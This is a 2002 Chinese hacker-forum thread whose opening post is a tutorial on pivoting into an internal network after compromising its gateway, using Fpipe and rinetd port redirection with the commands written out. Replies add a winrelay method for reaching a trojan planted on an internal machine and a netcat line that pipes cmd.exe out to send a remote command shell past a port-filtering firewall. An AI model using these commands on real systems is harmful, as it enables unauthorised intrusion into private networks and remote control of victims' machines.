>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  突破网关,利用端口重定向进入内网[原创]
发表文章 发表涂鸦
  回复数:27  点击数:1809 将此页发给您的朋友        
作者 主题: 突破网关,利用端口重定向进入内网[原创] ( 页: 1 2 ) 回复 | 收藏 | 打印 | 篇末
楚楚留香帅哥哦
级别:精灵王
威望:6
经验:1
货币:2090
体力:96
来源:61.141.98.*
总发帖数:590
注册日期:2001-04-17
查看 邮件 主页 QQ 消息 引用 复制 下载 

********************************************************
=================楚楚留香===============================
+++++++++++++Email:cclx@msn.com+++++++++++++++++++++++++
+++++++++++++QQ:5114529+++++++++++++++++++++++++++++++++
+++++++++++++突破网关,利用端口重定向进入内网+++++++++++
+++++++++++++原创作品,转载请保留以上信息+++++++++++++++
********************************************************
经常有人问我这个问题“怎样进入内网”,怎么回答呢,归纳起来就是一句话“突破网关,利用端口重定向进入内网”。
首选要突破网关(GetWay),这很容易理解,因为一个内网要访问internet总是必然通过网关接入的,至于怎样突破网关,这和进入不是网关的服务器没有什么两样,就不说了。
突破网关以后,我们的目标就是通过网关(IP为202.98.*.*)上网的192.168.21.75。以后的方法就是在网关力端口重定向,建立包转发。端口重定向分两种(local和remote),但是我们要进而内网,显然不能用local方式的重定向,local方式的重定向主要用来绕过防火墙(关于这个问题我将在随后单独写一篇文章来讨论怎样用端口重定向绕过防火墙)。

一、利用Fpipe建立端口重定向。
Fpipe是个非常有趣的东东。为了证明Fpipe的端口重定向功能,我们来做这样的试验。
首先在自己的机器上运行Fpipe,如下:

E:\tool\FPip>fpipe -l 80 -s 90 -r 80 202.98.177.162
FPipe v2.1 - TCP/UDP port redirector.
Copyright 2000 (c) by Foundstone, Inc.
http://www.foundstone.com

//解释一下这个命令
fpipe -l 80 -s 90 -r 80 202.98.177.162
将到本机80端口的连接通过90端口连接到202.98.177.162的80端口。
一下是详细语法:
FPipe [-hv?] [-brs <port>] IP
-?/-h - shows this help text
-c - maximum number of allowed simultaneous connections. Default is 32 #连接的最大数目,默认是32
-l - listening port number #要监听的TCP端口号
-r - remote TCP port number #要定向到的IP主机的端口号
-s - outbound connection source port number #从哪个端口发出重定向信息
-v - verbose mode #详细显示过程

在上面的过程中,我们在自己的机器上建立了端口重定向:将到本机80端口的连接通过90端口连接到202.98.177.162的80端口
然后我们在浏览器中输入:http://127.0.0.1,结果发现昆明高新区的网页打了,这说明我们的重定向成功。
此时fpipe现实了如下的内容:
Pipe connected:
In: 127.0.0.1:2092 --> 127.0.0.1:80
Out: 192.168.168.112:90 --> 202.98.177.162:80

从上面的输出可以看出数据包经过的路径(192.168.168.112是我的IP)
好了成功以后,下面的东西我不说大家也知道了,将Fpipe拷贝到我们控制的网关上,执行重定向:
fpipe -l 81 -s 91 -r 21 192.168.21.75 #在网关(202.98.*.*)执行,将到202.98.*.*的81端口的数据通过91端口转发向192.168.21.75的21端口。同样的:
fpipe -l 82 -s 92 -r 23 192.168.21.75 #将到202.98.*.*的82端口的数据通过92端口转发向192.168.21.75的23端口
fpipe -l 83 -s 93 -r 80 192.168.21.75 #将到202.98.*.*的83端口的数据通过93端口转发向192.168.21.75的80端口
fpipe -l 84 -s 94 -r 139 192.168.21.75 #将到202.98.*.*的84端口的数据通过94端口转发向192.168.21.75的139端口

下面的你更应该知道了:
如果你在本机telnet到202.98.*.*的81就等价于你telnet到192.168.21.75的21,不对啊!192.168.21.75的21应该FTP上去才对啊(哈哈),那就ftp到202.98.*.*的81端口吧!

写到这里我也忍不住喊“真牛…………真牛…………”

二、利用rinetd建立重定向。
方法和上面一样。在网关上运行rineted,不过要建立个配置文件(文件名和扩展名随意了在这里我以配置文件为conf.ini做例子说)
在本地用计事本建立如下内容的配置文件(其中的*不方便说,别找这写哦!他的意思是将到202.98.*.* 的90的包转发到192.168.21.75的80)
202.98.*.* 90 192.168.21.75 80
将他存为conf.ini文件然后和rineted拷贝到那个网关上(202.98.*.* ),然后
在网关上执行
rinetd -c conf.ini
然后你连接到202.98.*.* 90和连接到192.168.21.75 80的效果是一样的。

顺便说说rinetd配置文件的语法为
bindaddress bindport connectaddress connectport


写在后面:
Fpipe和rineted是很牛的两个工具,通常我是用这两个工具来突破防火墙的,以后抽空说说这个问题。
什么什么,这两个小东西在那下载(别懒了,自己找把):
http://www.boutell.com/rinetd/
http://www.foundstone.com
去看看吧!
倒,打了这么多字,手酸死了!哈哈!88。












----------------------------------------------------------
我竟改掉了落泪,也许是因为在黑暗中变得成熟了;成熟是因为心死了一半,心死了一半是因为没有了希望;没了希望是因为人们把我的退路断了;退路断了是因为这社会他妈的不想让我好好的活;这社会他妈的不想让我好好活是因为我从不肯妥协;我从不肯妥协是因为我还没人性的活着;我还没人性的活着是因为心中还有那么一点点的希望……

编辑 删除 发表时间发表于 2002-06-21.13:02:09   MSIE 6.0 Windows XPIP: 已记录
常忘记密码帅哥哦
级别:高级站友
威望:0
经验:0
货币:743
体力:56.3
来源:上海
总发帖数:144
注册日期:2002-03-03
查看 邮件 主页 QQ 消息 引用 复制 下载 

好有吸引力,复制下来慢慢看:)
----------------------------------------------------------
完全不得要领

编辑 删除 发表时间发表于 2002-06-21.13:52:50   MSIE 6.0 Windows 2000IP: 已记录
帅哥哦
级别:长 老 级
威望:1
经验:0
货币:1693
体力:95.4
来源:202.118.68.*
总发帖数:930
注册日期:2002-01-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

留香好难的一见啊,最近忙什么啊?
----------------------------------------------------------
你们到底他妈的有什么不爽的?

编辑 删除 发表时间发表于 2002-06-21.14:21:03   MSIE 6.0 Windows NT 5.2IP: 已记录
沉睡不醒帅哥哦
级别:老 站 友
威望:0
经验:0
货币:1026
体力:64.2
来源:61.188.195.*
总发帖数:256
注册日期:2002-04-02
查看 邮件 主页 QQ 消息 引用 复制 下载 

用SkSockServer.exe一样可以进入内网!
然后Sockscap设置为远程解析



[ 此消息由 沉睡不醒 在 2002-06-21.15:03:17 编辑过 ]

编辑 删除 发表时间发表于 2002-06-21.15:00:24   MSIE 5.0 Windows 98IP: 已记录
┗⊙⊙┛帅哥哦
级别:骑士
威望:0
经验:1
货币:382
体力:19.4
来源:61.149.36.*
总发帖数:143
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

呵呵,好文章。我也来介绍一个端口转发工具WinRelay,这个工具可以指定转发包的协议。在这里下载http://ntsecurity.nu/toolbox/winrelay/

命令语法: winrelay [-lip <IP address>] -lp <port> [-sip <IP address>] [-sp <port>] -dip <IP address> -dp <port> -proto <protocol>

-lip = 监听的ip地址(可以不写)
-lp = 监听的端口
-sip = 源ip地址(可以不写)
-sp = 源端口(可以不写)
-dip = 目标ip地址
-dp = 目标端口
-proto = 指定的协议 ("tcp" 或 "udp")

例子:我是A机,网关机是B,内网机是C
A:1.1.1.1
B:1.1.1.2
C:1.1.1.3
上传winrelay.exe到B机的admin$\system32目录下,然后TELNET到1.1.1.2
winrelay -lp 1688 -dip 1.1.1.3 -dp 1699 -proto tcp
事先我通过B机给C机安装了木马,可以看屏幕的,监听的端口是1688,现在我通过木马的客户端输入1.1.1.2:1699,就能看到C机的屏幕了。

[ 此消息由 ┗⊙⊙┛ 在 2002-06-21.16:05:49 编辑过 ]

编辑 删除 发表时间发表于 2002-06-21.15:57:29   MSIE 6.0 Windows 2000IP: 已记录
楚楚留香帅哥哦
级别:精灵王
威望:6
经验:1
货币:2090
体力:96
来源:61.141.98.*
总发帖数:590
注册日期:2001-04-17
查看 邮件 主页 QQ 消息 引用 复制 下载 

原文由 刺 发表:
留香好难的一见啊,最近忙什么啊?

忙啊!每天上班!
----------------------------------------------------------
我竟改掉了落泪,也许是因为在黑暗中变得成熟了;成熟是因为心死了一半,心死了一半是因为没有了希望;没了希望是因为人们把我的退路断了;退路断了是因为这社会他妈的不想让我好好的活;这社会他妈的不想让我好好活是因为我从不肯妥协;我从不肯妥协是因为我还没人性的活着;我还没人性的活着是因为心中还有那么一点点的希望……

编辑 删除 发表时间发表于 2002-06-21.16:47:21   MSIE 6.0 Windows XPIP: 已记录
小紫帅哥哦
级别:老 站 友
威望:0
经验:0
货币:965
体力:62
来源:ミ^_^ミ
总发帖数:316
注册日期:2002-02-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

有钱赚还不好啊..我现在很想赚钱都没有机会..哎...
工夫不到家..
好向慕你哦!

编辑 删除 发表时间发表于 2002-06-21.18:57:55   MSIE 6.0 Windows 98IP: 已记录
Meteor帅哥哦
级别:高级站友
威望:1
经验:0
货币:6
体力:0.2
来源:CyberSpace
总发帖数:138
注册日期:2001-12-14
查看 邮件 主页 QQ 消息 引用 复制 下载 

As I know,the utilities are only for port redirection;I don't think they can bypass the firewall of the gateway.

one misspelling word:Getway?
I think you want the word:Gateway.

编辑 删除 发表时间发表于 2002-06-21.23:19:40   MSIE 5.01 Windows 2000IP: 已记录
林凡帅哥哦
级别:圣骑士
威望:0
经验:4
货币:738
体力:87.8
来源:广东
总发帖数:190
注册日期:2002-06-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

楚楚的贴子就是精采,呵呵,好久没见你了,我现在忙学习忙死了.

编辑 删除 发表时间发表于 2002-06-22.12:41:03   MSIE 5.0 Windows 98IP: 已记录
19821119帅哥哦
级别:管 理 员
威望:3
经验:0
货币:6
体力:-0.0437
来源:19821119
总发帖数:1801
注册日期:2002-01-29
查看 邮件 主页 QQ 消息 引用 复制 下载 

不錯呀...
----------------------------------------------------------
19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119 19821119

编辑 删除 发表时间发表于 2002-06-22.13:38:09   MSIE 5.0 Windows 98IP: 已记录
帅哥哦
级别:老 站 友
威望:0
经验:0
货币:875
体力:69
来源:北京
总发帖数:353
注册日期:2001-04-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

老大,最近忙什么呢?好久不见你了!
最近有什么原创工具没?

编辑 删除 发表时间发表于 2002-06-22.14:54:22   MSIE 5.01 Windows 98IP: 已记录
baofeng帅哥哦
级别:老 站 友
威望:0
经验:0
货币:599
体力:23.3
来源:218.13.24.*
总发帖数:350
注册日期:2001-05-16
查看 邮件 主页 QQ 消息 引用 复制 下载 

留香在深圳找了份工作,程序员,我却在广州,哈哈
----------------------------------------------------------
I 'm like win32sdk.
http://win32sdk.com

编辑 删除 发表时间发表于 2002-06-22.20:51:44   MSIE 6.0 Windows MeIP: 已记录
爱之痕帅哥哦
级别:精灵王
威望:0
经验:0
货币:1484
体力:100
来源:湖北荆州佳诺
总发帖数:503
注册日期:2002-04-01
查看 邮件 主页 QQ 消息 引用 复制 下载 

用snakesockserver很简单的就可以完成了,而且iwan_user权限就够了
----------------------------------------------------------
哪个有VB.net,荆州落后,连盗版也没有!有的话请联系QQ40409090
或者
[URL=http://bbs.netxeyes.org/cgi-bin/bbs3000/bbs.cgi?menu=show&id=tech&slttitle=20021118100019]这里留言[/URL]
假如我的血液有38度了,我是否可以温暖你的心?

编辑 删除 发表时间发表于 2002-06-22.22:45:05   MSIE 6.0 Windows 98IP: 已记录
tommy帅哥哦
级别:精灵
威望:0
经验:7
货币:563
体力:83.3
来源:上海
总发帖数:583
注册日期:2002-02-08
查看 邮件 主页 QQ 消息 引用 复制 下载 

不错 好东西
----------------------------------------------------------
我爱你们tommycool.51.net/tommywu.2HU.ORG

编辑 删除 发表时间发表于 2002-06-22.23:05:14   MSIE 5.0 Windows 98IP: 已记录
楚楚留香帅哥哦
级别:精灵王
威望:6
经验:1
货币:2090
体力:96
来源:61.141.116.*
总发帖数:590
注册日期:2001-04-17
查看 邮件 主页 QQ 消息 引用 复制 下载 

原文由 Meteor 发表:
As I know,the utilities are only for port redirection;I don't think they can bypass the firewall of the gateway.

one misspelling word:Getway?
I think you want the word:Gateway.


这个东西我已经试验成功,确实能绕过某些防火墙(这类防火墙是居于端口过滤的):
一个实例:
在192.168.0.1(处于防火墙后面)用netcat监听TCP 80和25,TCP 80允许通过防火墙进入(inbound),而25允许通过防火墙出来(outbound)-这大概是这类防火墙的默认配置。
于是
netcat 192.168.0.1 80 | cmd.exe | netcat 192.168.0.1 25
就可要从被害机器上shoveling一个远程命令shell到攻击者的机器上。
这也就是通常说的shell shoveling,也就是将一个可用的command shell回送到攻击者的机器上的过程。

那个单词拼错了是gateway。哈哈。多谢指正!好久没有看到你这头痛的鸟语了,哈哈,这久忙什么??………………
----------------------------------------------------------
我竟改掉了落泪,也许是因为在黑暗中变得成熟了;成熟是因为心死了一半,心死了一半是因为没有了希望;没了希望是因为人们把我的退路断了;退路断了是因为这社会他妈的不想让我好好的活;这社会他妈的不想让我好好活是因为我从不肯妥协;我从不肯妥协是因为我还没人性的活着;我还没人性的活着是因为心中还有那么一点点的希望……

编辑 删除 发表时间发表于 2002-06-23.12:39:09   MSIE 6.0 Windows XPIP: 已记录
帅哥哦
级别:老 站 友
威望:0
经验:0
货币:875
体力:69
来源:北京
总发帖数:353
注册日期:2001-04-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

这个东西哪有下载啊,留香

编辑 删除 发表时间发表于 2002-06-23.12:52:08   MSIE 5.01 Windows 98IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP [第 1 2 页]
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题